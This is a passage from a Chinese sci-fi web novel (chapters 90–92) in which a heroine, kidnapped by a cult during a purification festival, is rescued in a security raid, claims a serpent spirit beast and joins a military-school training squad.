被布置得精致漂亮的花车车窗紧闭，单向玻璃隔绝了外界所有窥探的目光，更增添了几分神圣和神秘。 人群爆发出狂热的声浪，无数手臂挥舞着，大声叫着各位殿下的名字，不亚于最狂热的追星现场。 一辆辆花车缓缓经过，其中一辆花车的后排车窗缓缓降下了一条不足十公分的缝隙。 一张轮廓柔和的女性侧脸在缝隙后一闪而过，她微微颔首，似乎是对着外面狂热的人群致意。 “啊啊啊——！是庄思雅殿下！她看我了！她看我了！” “天啊！我精神海被净化了！” “庄思雅殿下！庄思雅殿下！啊啊啊啊啊啊啊！” “啊啊啊啊救命啊有人晕过去了！” 人群彻底疯狂，尖叫声和哭喊声混杂在一起，狂热到赵宴月面前的落地窗似乎都在震动。 那扇车窗在引起更大的骚动前又迅速合拢，将外界的狂热隔绝。 “我的妈呀……”江茂茂拍着胸口，一脸心有余悸，“这也太夸张了，感觉殿下们稍微露个脸比打赢一场大战还让人激动。” 许白亦评价道：“狂热的信仰有时也很危险。” 赵宴月感觉三观都被刷新，啧啧称奇：“太恐怖了，太吓人了。” 就在这时，一道气喘吁吁的声音在旁边响起：“喂，这位……同学？” 尚飞飞看向一脸珠光宝气的少女，心里忽然浮现出些许应对特权阶级的没底气。 不对！他又没违法犯罪！违法犯罪的是她才对！ 在赵宴月看过来后，尚飞飞鼓足勇气道：“你是不是坐飞行器直接上来的？是你吧？这……这不合规矩吧？” 听到“坐飞行器”这四个字，周围人包括江茂茂在内都投来了震惊的目光。 赵宴月看了眼快怼到她脸上的直播设备，挑眉道：“怎么？这是执法记录仪吗？不是的话那你侵犯我隐私。” “你你你……你倒打一耙！” 赵宴月哼了一声转过头，目光落在下方的车队上，语气平淡地胡说八道：“便衣警卫员听过没有，我是在执行任务排查潜在危险，有问题吗？” “警卫员？”尚飞飞一愣，上下打量着她年轻的脸庞和休闲的穿着，显然不信，“你还是学生吧……什么级别的警卫员能在这时候坐飞行器直达顶楼排查危险？这里能有什么危险？” “什么叫能有什么危险？”赵宴月抬起手，随手指向下方人潮中靠近云顶港大厦入口的一个位置。 那里有几个穿着不起眼灰色工装还戴着鸭舌帽的男人，他们的位置并不靠前，姿态也有些奇怪，不仅不像其他人那样狂热地挥舞手臂或者试图往前挤，反而显得有些过于安静。 一个个身体都微微紧绷着，目光不是聚焦在车队上，而是不断地扫视着大厦入口，好像在排查安保人员的分布。 赵宴月收回手指，像是和他八卦一样分享道：“看见没，那几个人看着就很危险。” 尚飞飞顺着她指的方向看去，仔细辨认一会儿后也渐渐觉出几分不对劲。 混在人群中的那几个人身上好像确实透着一股与周围狂热气氛截然不同的阴冷和紧张。 “你……你怎么知道？”尚飞飞语气中的质疑变成了惊疑不定，“你真是便衣警卫员？” “那可不。” 尚飞飞被忽悠得一愣一愣的，但是认识赵宴月的直播间观众已经炸了。 垃圾女王是不是警卫员他们还不知道吗。 证据确凿，这死丫头违法犯罪终于被他们抓到了吧。 第90章 在赵宴月出现在直播间后, 直播间的热度便达到了一个前所未有的高峰。 “我话就放在这里了，垃圾女王是警卫员我当场把光脑吃了。” “证据确凿，飞行器私闯封锁空域还冒充警卫人员, 这不得数罪并罚。” “主播举报她, 打安全局通讯，还能捞一笔举报奖金。” “等等……可是我觉得下面那几个人好像真有点不对劲。” “别管对不对劲了, 我要和垃圾女王战斗。” “主播你听我的，你要是能把垃圾女王送局子里去你就真火了。” 尚飞飞看着疯狂滚动的弹幕和飙升的打赏，也是老实人豁出去了。 他一咬牙看向赵宴月道：“如果他们是危险分子, 那你怎么还站在这里，不应该下去抓人吗？或者你给我看看证件。” 江茂茂和许白亦眉头都皱了起来, 刚想开口解围，赵宴月却示意他们稍安勿躁。 “谁说警卫员就一定要亲自下场抓人？” 她甚至没看尚飞飞，目光依旧锁定着下方那几个鬼鬼祟祟的男人, 笑眯眯道：“像我这样的总指挥都是坐镇后方的, 你信不信他们马上就要被抓了。” 话音刚落，下方人群中那个背着鼓囊背包的灰衣男人的手已经探进了拉开的背包缝隙。 他脸上闪过一丝狠厉和狂热, 似乎就要掏出什么东西。 与此同时，原本分散在人群边缘, 看起来只是普通围观群众的人身形如同猎豹般暴起。 他们的动作快得带出了残影, 一个标准的擒拿锁喉, 膝盖顺势狠狠顶在嫌疑人后腰, 瞬间将几人制服。 整个过程发生在电光火石之间, 快到下方狂热的人群甚至都没反应过来，只有观景平台上的人群发出一片惊呼。 尚飞飞张大了嘴巴，举着直播设备的手僵在半空，看了看赵宴月又看了看下面正在被盘查的人, 大脑陷入了疯狂思考。 他好像被直播间里的观众做局了。 这行云流水的一套操作下来，对面的人好像真是什么总指挥。 “啊？” “真……真有危险分子？到底谁家危险分子这么蠢，竟然在欢迎仪式上动手啊。” “垃圾女王不会真是什么便衣警卫员吧，我知道这很离奇，但是这也太离奇了。” “有没有可能，正是因为垃圾女王不像是警卫员，所以特别征用了她去排查危险，反正她也是军校的学生。” “楼上你……垃圾女王看完都要笑死了，自有大儒为她辩经是吧。” “我服了，这辈子还有能把她送进局子的一天吗，我恨她。” “没有那一天了，举报出结果了，官方说她的飞行器是通过备案的，感谢热心群众举报。” “？” “？？” “？？？” “就我一个人想知道楼上和垃圾女王什么仇什么怨吗？为什么恨她？细说。” “221天前她在星网上说要一巴掌把我医保卡打欠费，我没吵赢她。” “……唉，你说你没事招惹她干嘛。” 看着尚飞飞茫然的眼神，赵宴月差点笑出声。 星网上的观众都能看出来的可疑分子，底下的警卫员怎么可能没注意到。 她看向尚飞飞，和蔼可亲地笑了一声：“现在我们来研究一下你侵犯我肖像权的问题？” “不了不了，您太客气了。”尚飞飞脑子一空，混乱摆了摆手，扭头一溜烟地跑走了。 赵宴月从他身上收回目光，摇头晃脑道：“真是不经吓，但凡再硬气点让我拿证件给他看看呢。” “得了便宜还卖乖。”许白亦锐评出声，“真让你拿你就老实了。” 赵宴月笑了一声重新看向下方，发现被制服的几个男人此时手腕已经被死死扣住，嘴巴一开一合的不知道在狡辩些什么。 真正的便衣警卫员面无表情地从他背包里搜出一个用黑色防震布包裹着的不规则物体，示意旁边接应的同伴查看。 同伴拆开里面的东西，发现真如男人所说，里面只是一个个礼花炮。 警卫员们皱了皱眉，最终将几人压进了警务中心，打算等欢迎仪式结束之后再做盘问。 真正的危险分子是不会让人觉得可疑的，这几个人的可疑行为表现得未免太过明显，就像是故意引起警卫员的注意似的。 无论如何，只要有可疑行为，自然就不可能放他们出现在殿下车队附近。 赵宴月看向礼花炮的目光微凝，感觉事情十分有十二分的不对劲。 几人一副鬼鬼祟祟的模样结果包里只是礼花炮，与其说他们是要对车队里的净化师不利，不如说只是在侦察人群里便衣警卫员的分布数量，又或者只是在测试警卫员的响应速度。 净化师的车队护卫得跟铁桶似的，但凡脑子正常点的危险分子都不会对车队动手，那整这一出是为了什么。 就在赵宴月思考间，手腕上的光脑却忽然震动了一下，一条来自柏慈的信息弹了出来。 柏慈：监测到江茂茂被定位了，推测幕后可能是纯生教在动手脚，殿下要提醒一下他吗？ 赵宴月看完信息都沉默了。 纯生教不会真信了网上说的江茂茂是净化师吧。 赵宴月：我记得玻娅区的纯生教窝点之前就已经被清剿过一次。 柏慈：那只能说明此时还没清除的窝点是隐藏得很深的大鱼。 赵宴月：倒也不用对仗这么工整。 柏慈：好的。 赵宴月：这样，我有一计。 柏慈：我不同意。 赵宴月：我猜我需要你同意吗？ 柏慈：好的。 赵宴月心满意足地放下光脑，看向江茂茂的目光中充满了同情和怜爱，说来江茂茂有此一劫也是她的原因。 江茂茂不明所以地摸了摸脑袋上的呆毛，心里发毛道：“你这么看我我害怕。” “别怕，我会保护好你的。” “……我是说你让我害怕。” “喔。” 赵宴月没再搭理他，目光扫过下方的人群观察了片刻。 此时净化盛典的狂热随着车队驶入天市会堂逐渐冷却，一部分群众已经离开，还有一部分仍在原地热烈讨论。 “热闹看完了，走吧茂茂，陪我下去买点东西，刚看到楼下有家网上很火的冰激凌店。” “好啊好啊。”江茂茂不疑有他，往楼下看了一眼，“走走走，那家我吃过，味道确实还不错。” 许白亦对她只招呼江茂茂的行为察觉到一丝异样，坐姿端正的少年歪了歪头，开口询问道：“不带我吗？那我先回学校？” 赵宴月直接点头。 许白亦：“……” 这下他确定了，赵宴月绝对又要整什么幺蛾子了。 江茂茂看看这个又看看那个，忧愁地想了个折中的办法：“那让许哥等等我们好了，到时候一起回去，反正斯伦就在我们学校对面。” 赵宴月摇了摇头，语气深沉：“非我族类，其心必异……到时候再给他带冰激凌。” 江茂茂沉默了一会儿，忽然感动了起来：“果然我才是你最好的朋友……不过虽然许哥是斯伦的学生，但他人还是很好的。” 赵宴月和江茂茂你一言我一语地随着人流走进一部下行电梯，电梯里的人并不少，大多是看完热闹准备离开的游客。 电梯平稳下降了一会儿，就在到达中层一个大型购物平台时异变突生。 “啪！” 电梯顶部的照明灯突然毫无征兆地爆裂，碎片四溅间，一股刺鼻的、类似劣质香精混合着化学药剂的味道猛地弥漫开来。 “什么情况？” “灯怎么炸了？” “什么味道？好难闻！” “有人晕过去了，好像是迷药！” 电梯内部瞬间陷入昏暗和恐慌，人群在惊叫声中互相推搡。 混乱中，赵宴月感觉江茂茂似乎被人扯住脱离了自己。 她顿时一把抓住了江茂茂的手，和江茂茂一起被粗暴地从混乱拥挤的人群中挤了出来。 在昏暗光线的掩护下，袭击者的动作也极其娴熟，两人被两个穿着普通但力气奇大的路人半扶半拖地带离了电梯轿厢。 整个过程发生得相当快，灯光爆裂产生的惊吓、刺鼻气味的干扰和人群自然的推搡，多重因素影响下，其他人根本没看清具体发生了什么。 赵宴月和江茂茂在混乱中被搀扶着脚步虚浮地穿过惊慌的人群，然后又被带向了一个标着“员工通道，闲人免进”的侧门。 在进入通道的瞬间，她听到了警卫员脚步急促地上来查看情况的声音。 “怎么多了一个？”一个刻意压低的声音在身边响起。 “两人是一起的，都快晕过去了还死死拽着根本不撒手。” “行吧，一起带回去。” 赵宴月：“……” 她成多余的那个了，一堆没眼力见的。 两人被推进了一辆停靠在通道里的清洁用悬浮车的后厢，车辆无声启动，在迷宫般的后勤通道里快速穿行，而后汇入车流。 赵宴月靠在冰冷的厢壁上，感受着手腕上被带上的手环，发现有抑制精神力的作用。 ——像是她曾经在禁区见过的“精神力隔断颈环”的盗版，只能做到抑制精神力，并不能做到隔断精神力。 至少对她来说是这样，对江茂茂来说就不知道了，不过纯生教能搞出这种东西来还挺出人意料的。 江茂茂此时半晕半醒着，明显当时有点防备但不多，药效已经起了作用。 车厢内一片黑暗和寂静，隐隐传来一阵聊天声。 “嘿，你说博士这次能满意吗？这小胖子真是净化师？” “谁知道呢，就算不是也不损失什么，反正车队里那些真正的净化师我们也没本事绑。” “要是他真是净化师，博士关于‘青藤’的研究肯定会有突破，说不定以后能让我们的精神力里也拥有净化因子。” “迟早把那些高高在上的净化师都拉下神坛，到时候那些曾经看不起我们的人，都得跪着求我们净化！” 车厢里随后响起一阵压抑而扭曲的低笑。 赵宴月：“……” 看她听到了什么，这一趟真是没白来。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-100 第91章 清洁车在市区内七拐八绕, 不知道过了多久，最后才驶入一个挂着“天市星第七废弃零件回收处理中心”牌子的破旧厂区。 司机下车后在一块不起眼的锈蚀面板上按了几下，地面便无声地滑开一个入口, 露出了内部向下的斜坡通道。 等车辆再次停稳后, 后厢门终于被粗暴地拉开，明亮的光线涌了进来。 “动作快点！”车外一个不耐烦的声音催促道。 “催什么催。” 赵宴月感觉手臂被抓住, 来人力道很大地将她拽下车，她眯着眼适应了一下外界的光线。 眼前是一个废弃工业仓库改造成的停车场，空间十分封闭, 两个气息彪悍的守卫坐在一扇厚重的气密门旁边打牌。 他们的眼神扫视着被带进来的赵宴月和被半拖半拽的江茂茂，低声抱怨着去打开了门：“正打在兴头上。” 押送者没理他们, 对着迎面而来的研究员模样的人说道：“人带来了。” 研究员点点头拿出一个手持扫描仪，对着赵宴月和江茂茂从头到脚扫了一遍：“很好，没被寄生。” 他之后又检查了两人手腕上的抑制手环, 声音透过口罩显得有些闷：“抑制器状态正常, 带进去吧，我去通知博士。” 赵宴月早就听说过纯生教里被寄生的人并不少, 没想到这个窝点竟然对寄生虫族还挺严防死守。 气密门里面的景象与外面的破败截然不同，顶部是柔和的冷光源, 空气里还弥漫着些许消毒水的味道。 在被关进观察室后, 江茂茂终于稍微清醒了过来。 他看着充满了科技感的实验室和穿着白大褂来来往往的研究员, 下意识往赵宴月身边缩了缩：“这是什么地方？” “纯生教的窝点。”赵宴月随口解答了他的疑问, 透过单向玻璃观察着隔壁房间。 隔壁放着一个特制的巨大生态箱, 树枝上缠绕着一条通体碧绿的藤蔓。 十分漂亮的颜色，像是由最纯净的翡翠雕琢而成，甚至还带着轻微的宝石一样的反光。 “纯生教？这是个什么教？邪教吗？”江茂茂脑袋发晕两眼发黑地开启三连问，“不会是要把我们切片了吧。” 听到他这么问, 赵宴月才想起纯生教的存在并不是所有人都知道。 为了防止邪教的渗透，关于纯生教的信息在星网上都搜不到，大部分人都对此都没什么具体了解。 “大概就是一个执着于让所有人都当上净化师的教？”赵宴月简要概括了一下，然后下结论：“所以不会把你切片。” “这两者有什么联系吗？”江茂茂懵了，“那抓我们来不还是为了做实验，总不能是让我当净化师来了，这和把我切片有什么区别。” “区别就在于他们以为你是净化师。” “……” 江茂茂沉默良久，都不知道该说什么好。 什么草台班子邪教，怎么星网上说什么都信啊，这显得他们也太走投无路了。 赵宴月安慰道：“好了好了，马上就能走了，就一会儿的事。” “唉……”江茂茂看着手上的手环叹了口气：“我知道你在安慰我。” “没有，我在陈述事实，你顺着他们去就行。” “小赵，你不对劲。”江茂茂狐疑地看了她一眼：“你是不是有什么东西瞒着我。” 就在这时，观察室的门被推开，研究员对着门口一个穿着白大褂、身材精瘦矮小的老头说道：“博士，人就在这。” 老头看起来六十岁上下，头发稀疏灰白，脸上皱纹深刻，目光直直地射向江茂茂，带着一种审视实验品一般的狂热。 “嗯。”博士从喉咙里发出一个短促的音节，“把检测装置拿过来。” 他说话的时候，阴鸷的目光还在如同扫描仪般在江茂茂身上来回扫视，带着一种近乎疯狂的贪婪。 江茂茂被他看得鸡皮疙瘩都起来了，但是还勇敢地挡在了赵宴月的前面，十分讲义气。 研究员很快推来一个金属支架，上面悬浮着一个拳头大小的黑色水晶球，球体内部仿佛有浓稠的墨汁在翻涌。 这个水晶球谁都不会感到陌生，全三垣星系每个居民在净化天赋检测仪式上都用过。 江茂茂也没想过这玩意儿自己会用两次，无力道：“我真不是净化师……” 博士没理他，拿出一个控制器按了一下，“咔哒”一声过后，江茂茂手腕上那个手环就被解开了。 “你最好祈祷你是。” 博士的声音带着不容置疑的命令和一丝急切的期待，“别耍花样，除非你想尝尝更有效的药剂，或者强行抽取精神力的滋味。” 这是他祈祷是就能是的东西吗。 江茂茂咽了口唾沫，只好将手按在了冰冷的水晶球表面，往里面释放出一缕精神力。 黑色水晶球内部翻涌的墨汁似乎受到牵引般波动了一下，但颜色没有丝毫变淡，代表污染浓度的数值更是纹丝不动。 “废物！” 博士见状，脸上的期待瞬间化为暴怒和极度的失望。 江茂茂也小发雷霆道：“干嘛要擅自期待又擅自失望，现在好了，大家都不开心了。” 博士根本没管江茂茂在说什么，像是忽然发疯了一样踹倒了金属支架。 水晶球砸落在地上碎片四溅，而他鞋底踩着尖锐的玻璃残渣来回踱步。 “我要抓到净化师！我必须要抓到一个净化师！” 博士双眼通红地喊完又安静了下来，他脸上的暴怒瞬间消失不见，烦躁地挥手：“把他带下去，关进实验用品室。” 等江茂茂被带走，观察室里便只剩下赵宴月和一脸阴郁的博士。 博士那淬毒般的目光终于落在了赵宴月身上，带着审视和一丝残余的烦躁：“怎么多抓了一个？” “博士，不如让她也试试。”研究员也没有解释原因，小心翼翼地提议道。 博士眯了眯眼，并没有对此抱有希望，反倒已经思考起了后果：“她可不是什么能无声无息消失的人。” 他说到这，又像是想起了什么似的，看了赵宴月一眼喃喃道：“也不是没可能啊，也不是没可能啊……再拿个检测装置过来。” 话一说完，很快就有人推来了新的检测装置，顺便还将地面上的残渣也清理得干干净净。 博士枯瘦的手指对着黑色水晶球抬了抬，示意赵宴月将手放上去，警告道：“别做无谓的挣扎。” 在解开她手上的手环前，博士又扭头对旁边的人吩咐：“注射器准备。” 看这架势，明显对赵宴月有不少了解，对她防了又防。 赵宴月自然不会说这手环不解开她也能用精神力，等手环被解开后，便依言将手放在了冰冷的水晶球上。 水晶球内部浓重到仿佛能吞噬一切光线的黑色刹那间消融，而显示屏上代表污染浓度的数值也眨眼间归零。 “什……什么？” 博士脸上的阴冷烦躁和不耐瞬间被茫然取代，随后变化成扭曲的狂喜，连枯瘦的身体都剧烈地颤抖起来。 “哈哈哈！”他已经顾不上怀疑赵宴月的温顺，狂喜之下猛地爆发出癫狂的大笑，充满了歇斯底里的兴奋。 “联邦这个废物！天要助我！天要助我！” 三秒过后，他又神经质地将笑声一收。 干瘦的老头快步逼近赵宴月，布满血丝的双眼如同饿狼般死死盯着她：“接下来只需要将你的精神力嫁接过来，配合上青藤……” 他张开双臂，如同在拥抱一个虚幻的未来，声音因激动而尖利：“我将掌握创造净化师的力量，成为新世界的神！我将赋予听话的人成为‘净化者’的资格！所有人都要匍匐在我的脚下！” 本就看着精神状态堪忧的博士已经陷入了彻底的疯狂。 而就在赵宴月往检测装置里放出精神力的那一刻，隔壁生态箱里的青藤忽然动了动。 宝石一样的碧绿藤蔓上，一双黑漆漆的竖瞳忽然睁开，在光源下闪烁着莹润的光泽，透出一股厌世的冷漠。 直到它探出分叉的蛇信捕捉着空气里的信息，赵宴月才意识到青藤不是藤。 它是一条蛇…… 博士还在口沫横飞地描绘着他扭曲的蓝图，十分符合狂热的邪教徒模样。 赵宴月的心思已经完全被青藤吸引了，她抬手看了眼光脑早就被扔了的光秃秃手腕，终于舍得开口打断了博士的癫狂演说。 “说完了吗？还有什么临终感言要发表的？我建议你抓紧时间。” 博士脸上的笑容一凝：“什么意思？” 话音还未落下，一声震耳欲聋的恐怖巨响便从上方传来，整个地下空间都剧烈震动了一下。 刺耳的警报声瞬间拉响，红光疯狂闪烁，夹杂着外面密集的交火声、爆炸声和联邦士兵的喝令。 “联邦安全局！放下武器！” “抵抗者格杀勿论！” “控制所有出口！” 研究员们脸色剧变：“是联邦的人，我们暴露了。” 不过几句话的时间，地面已经疯狂摇晃，合金墙壁发出不堪重负的呻吟，而后被引力硬生生压断出一个巨大的豁口。 尘灰飞扬间，一个身影如同瞬移般出现在缺口处。 紧随柏慈之后，数名全副武装的联邦安全局特勤队员迅速涌入，瞬间包围了这一层。 博士阴鸷的目光看向赵宴月，赵宴月摊了摊手：“我在等救援，你在等什么？” 这个邪教窝点虽然隐藏得深，但说到底武装力量并不强横，更别说还有作为S级机甲尖兵的柏慈在，连反抗的余地不多。 赵宴月没理会还想垂死挣扎的博士，趁着双方激烈交战，她直接溜进了隔壁还顺手关了门。 生态箱旁边的悬浮光屏还亮着，上面正是关于青藤的研究报告。 代号：青藤 种类：非攻击类灵兽 状态：终极态七阶 天赋技能：净化因子增幅（模拟实验结论，需进行后续验证） 效果描述：能与具备净化因子的精神力产生共鸣，显著提升共鸣者精神力中净化因子的浓度与活性。 核心发现：共鸣状态下，可大幅降低净化同等污染所需的精神力消耗，增幅效果或许与净化因子基础浓度呈正相关。 关键限制：1.共鸣者精神海必须天然蕴含净化因子，对无净化因子者无效。 2.长期实验表明，青藤自身无法产生净化因子，仅为增幅器。 结论：青藤无法实现“创造”净化因子的目标，后续研究需转向净化因子嫁接或精神海移植方向。 备注：青藤性情冷淡，抗拒契约，已在此基地培育观察十七年。 赵宴月看完就顺手销毁了资料，然后打开生态箱的门大摇大摆地走了进去。 反正是非攻击类灵兽，战力估计也就能参考一下小六，还不如一只野猪。 青藤盘踞在一块温润的白色石头上一动不动，姿态优雅而沉静。 它只有拇指粗细，长度不过半米，睁着一双黑漆漆的竖瞳看向来人，时不时吐出纤细的蛇信。 赵宴月熟练操控着精神力从指尖流出来，缓缓靠近安静盘踞着的青藤：“嗨bro，来一口？” 良久，青藤的尾巴尖尖晃了晃，并没有对她的精神力产生食欲，只是挪动身体顺着她的手缠绕了过去，带来一阵冰凉的触感。 赵宴月见状，立马秉承着“手快有手慢无”的宗旨，用精神力织出一张精神力网往它身上套麻袋。 然而青藤只是尾巴一甩就甩碎了精神力网，无情地拒绝了赵宴月的契约申请，缠在她手臂上一副冷淡疏离的厌世模样。 赵宴月契约灵兽的路上首次遭遇滑铁卢，忧伤地看着青藤：“你不和我契约，那你还缠着我干什么。” 青藤不语，只是冷淡地缠紧了赵宴月的手臂。 它不可能和已经契约了两只灵兽的海王契约。 精神海里的小五和小六在赵宴月发出契约申请的一瞬间便有了感应。 银白的巨狼沉迷于追逐漫山遍野的野松鼠，对有可能加入这个家庭的新成员保持了一贯的欢迎态度。 倒是树杈上的小六一个激灵从窝里坐起身，眼眶里蹭地一下冒出两团蓝色鬼火，下一秒就出现在了赵宴月的头顶。 它趾高气昂地站在赵宴月的头顶上，指着缠在她手上的青藤发出大叫：“卡卡！卡卡卡卡！卡卡卡卡卡！” 青藤墨玉般的竖瞳冷淡地瞥了它一眼，扭过头“嘶”了一声。 它的反应让小六直接跳脚，像个抓到小三的原配一样大声辱骂起来：“卡卡卡卡卡卡卡卡！！！” 赵宴月当起了和事佬：“别骂了别骂了，都是我一时糊涂，再说人家也没同意和我契约。” 小六听到这话差点厥过去，又开始指着赵宴月大声控诉：“卡卡卡卡卡卡。” “什么叫得到了就不知道珍惜，什么叫你当初让我得到的太轻易，你好好说话。” 小六感觉赵宴月已经被新灵兽迷昏了头，它气得从赵宴月头上跳了下来，直接骑到了青藤的身上。 它一边“卡卡卡卡”地大叫，一边用纤细的白骨爪子疯狂攻击起青藤，对青藤的鳞片造成了零点伤害。 虽然它的攻击跟挠痒痒似的，但是青藤丝毫不惯着它，一个甩尾直接将小六甩飞了出去。 赵宴月眼疾手快地将天上旋转的小六抓住塞进兜里，打着圆场道：“好了好了，千错万错都是我的错。” 还不是看见《进化图鉴》里的重点灵兽一时心急，忘了家里还有个小六。 还好不契约也能研究进化链，而且青藤看上去也没有要走的意思。 场面一时之间鸡飞狗跳，赵宴月简直手忙脚乱，直到外面交战声停歇，一位穿着联邦安全局制服的中年人在特勤队员的护卫下走了进来。 “你好小同志，我是联邦安全局副局长蒋源。” 他的目光落在赵宴月身上，和善地开口问道：“听说是你这位小同志以身作饵深入虎穴，才让柏慈上将成功锁定了纯生教这处隐秘据点。” 虽然搞不懂柏慈上将和她是个什么关系，但是既然上将这么说，那他自然也不会追根究底。 更别说这段时间的天市会堂里正是净化盛典的持续期间，殿下们绝对不能在天市星上出了差错，如今精准打击了纯生教在玻娅区的遗漏据点，好歹也算补足之前的工作缺漏。 “万分感谢你的深明大义与英勇无畏，你为联邦的安全和社会的稳定做出了不可磨灭的卓越贡献，联邦安全局向你致以最崇高的敬意。” 这官腔也太官腔了。 赵宴月开口问道：“有什么实质性奖励吗？” “当然有的。”蒋源爽朗地笑了一声，十分熟练道：“我们会在官方公众号对你进行表扬，并且还有10w星币的奖金。” 他说到这，手指对着青藤虚虚地点了点道：“不过这算是联邦缴获的不明财产，理应充公。” “充公了会怎么样？” “除了一些特殊情况外，原则上会在官方拍卖会上进行拍卖，拍卖所得会纳入国库。” “喔。”赵宴月点点头，“但是它是我养的宠物，不是纯生教的不明财产。” 蒋源闻言一愣，而一直充当背景板的柏慈此时掀起眼皮看了他一眼，并没有说话。 副局长思潮起伏间话便说出了口：“原来是小同志自己的灵兽。” 赵宴月：“……” 青藤的研究资料被官方人员看见后不可能会被拍卖，唯一的处理结果就是交给云中宫殿。 云中宫殿接手后，虽然不出意外的情况下肯定会转交给她，但是被分的哪有自己抢来的香。 再说经了这么多手，青藤最后出现在她身边是个人都知道不对劲。 赵宴月心安理得地昧下不明财产，从源头上解决了问题，然后看向柏慈问道：“江茂茂呢。” “和其他被救人员在一起，现在都在外面等着。” 赵宴月听到还有其他被救人员也没太意外，在看到博士还在研究“精神海移植”的时候就猜到了他们肯定抓了不少人当实验体，死有余辜。 第92章 联邦安全局天市星玻娅区分局的官方公众号在几天后准时推送了一条措辞激昂的通报。 “玻娅区安全简讯：雷霆出击, 捣毁邪教隐秘据点。” “11日傍晚，我局联合军方力量于玻娅区“第七废弃零件回收处理中心”地下，成功捣毁邪教一处长期潜伏的非法研究据点……此案的成功侦破, 沉重打击了邪教势力的嚣张气焰, 有力维护了社会安定和人民生命财产安全。” “特别表彰：此次行动的成功，离不开兰柏林军校大一学生赵某月的关键协助, 热心市民赵同学凭借过人的胆识和智慧……10万星币见义勇为奖金已发放至其账户，望广大市民以赵同学为榜样，积极提供线索, 共同守护天市星的和谐安宁。” 通报下方，附着一张打了厚码的现场图和一张象征性的荣誉证书图片。 兰柏林论坛顿时围绕这条推送讨论了起来。 “赵某月？是我想的那个赵某月吗？” “新星杯X-4018队伍的赵宴月吧, 听说她有个C级净化师队友。” “江茂茂不可能是净化师，这个世界上不可能有野生净化师，都考上兰柏林了就别听风就是雨了。” “10万星币……这得打工多少年才能赚到啊。” “10w星币对热心市民赵某月来说算什么, 人家的天火狼完整进化链都公布了, 知识产权费早就够她骄奢淫逸一辈子。” “骄奢淫逸是这么用的吗？” “我就羡慕江茂茂竟然能参加联邦军校联赛，感觉我上我也行。” “说起来‘天市星代表队’的备战班好像今天开课了, 羡慕。” 就在论坛热议之际，赵宴月已经站在了备战班的特训基地里。 三百名从新星杯里选拔出来的大一至大三的学生汇聚一堂, 空气里弥漫着兴奋紧张以及彼此审视的气息。 兰柏林和斯伦军校的学生互相打量, 彼此都看对方很不顺眼, 只不过明显斯伦军校的学生气势更胜。 因为300名学生中有151人来自斯伦, 兰柏林比对面足足少了两个人！这简直就是天大的耻辱！ 赵宴月并没有参与进双方的课前battle中, 因为她现在脑瓜子嗡嗡的。 青藤正缠在她手臂上闭目养神，尾巴尖无意识地轻轻晃着，十分安静。 而小六则扒着口袋边缘，瞪着袖口的眼眶里蓝色鬼火直跳, 嘴里不间断地发出“卡卡卡卡”的碎碎念，是所有噪音的源头。 青藤完全单方面屏蔽了小六，但是小六已经沉浸在自己的剧本里不知天地为何物，骂青藤的同时还要偷摸骂两句赵宴月。 骂青藤就算了，竟然还骂她。 赵宴月试图隐忍，但她终究不是个忍人，最后还是没忍住把小六扔进了精神海，世界瞬间变得安静。 也就在她把小六扔回去的同时，旁边的许白亦和江茂茂也长舒一口气。 趁着小六不在，江茂茂终于开始蛐蛐起来：“以前怎么没发现小六这么吵。” 赵宴月：“你知道的，以前它才是小三。” 许白亦叹了一口气，发表尖锐的评价：“我觉得灵兽和契约者还是得1v1，双向奔赴才是正统。” 赵宴月笑了一声：“笑死，说得好像你家雷震子对你有箭头似的，你是奔了它可没奔。” “我家霹雳不叫雷震子。” “但是它明显更喜欢这个名字。” “……你好冒昧。” 就在这时，天市星代表队的特训总教官关启山在众人的前方站定，身旁还跟着兰柏林和斯伦各自的负责老师。 关启山环视全场的功夫，私语声便渐渐消失，数百双眼睛都聚焦在了他身上。 等学生们都自发安静了下来，他才声音平淡地开口道：“我是来自联邦军部T-34军团的关启山，首先，恭喜你们从数万学生中脱颖而出站在了这里，你们将代表天市星出战四个月后的联邦军校联赛。” “其次，在这里没有军校之分，没有年级之分，只有天市星代表队，不要再让我听到争论。” “最后，按照联邦军校联赛的要求，代表队需要由一名指挥，一名机甲尖兵，一名机甲工程师带队，这三人是整个代表队战场生存与胜负的关键。” 关启山的声音稍微高了些许，透出几分威严：“为了选拔出最优秀的三个人，带领你们的战友在联赛中披荆斩棘，从今天起，备战班将启动积分排行榜制度。” 话音刚落，巨大的虚拟光屏从他身后亮起，清晰地划分出三个榜单。 【机甲尖兵系积分榜】(总人数：219人) 【军事指挥系积分榜】(总人数：57人) 【机甲工程系积分榜】(总人数：24人) “每个专业单独排榜，积分来源包括每日基础训练成绩、专项技能挑战成绩、实战模拟对抗成绩、特殊任务成绩以及教官综合评价，三个月后，三个专业积分榜的榜首自动获得队长资格，最后一个月的时间会留给你们磨合。” 听完关老师的话，周围顿时响起一片抽气声。 尤其是机甲尖兵系的学生看着那219的总人数时，一张张年轻气盛的脸上都写满了“命苦”两个字，纷纷唉声叹气起来，而赵宴月看着机甲工程系的小猫三两只直接笑出了声，惹得连许白亦都凉凉地看了过来。 什么叫选择比努力更重要。 “机甲尖兵系也太卷了，明明实力最强，偏偏竞争也最激烈。” “指挥系才是真的令人绝望，你们机甲尖兵系的当不上队长好歹也专业对口，指挥系的只要当不上唯一的指挥就只能当机甲尖兵。” “还是机甲工程系爽啊，当不当队长都不影响他们当后勤。” “看不起后勤吗，你好没礼貌。” “机甲工程系24个人够用吗，相当于一个人要负责12.5个人的武器加装，如果装备双武器那就更多了。” “而且他们还是最容易损耗的群体，好没安全感。” “差不多吧，我看每一届机甲工程师的配置都是25个人左右，他们专业人再多点，团队总体实力都得下降一个level。” “你说话好伤人。” “陈述事实而已。” 关启山没有给他们太多讨论的时间，吹了声哨子示意安静。 “关于积分获取的具体方式你们稍后可以去各个模拟训练室内部查阅，现在所有人去重力训练场进行基础体能适应性训练，10倍标准重力持续2小时，最后二十名加练一小时，现在开始行动！” 命令如山倒，学生们没有丝毫犹豫和停留，瞬间如同离弦之箭般冲向通往重力训练场的通道入口。 看着学生们离开的背影，兰柏林的负责老师薛清说道：“这一届备战班的训练任务安排得很重啊，不愧是关大魔王。” 斯伦的负责老师白静仪微微颔首：“总不能因为老是垫底就认命了，我们好歹曾经也得过第一第二的。” “第二我倒是有印象，第一是什么时候的事？” “嗯……”白静仪沉吟片刻，“七八十年前？” 薛清安静了一会儿，然后换了个让人不那么伤心的话题：“法温莎和西廷尔现在应该也选拔出代表队了。” 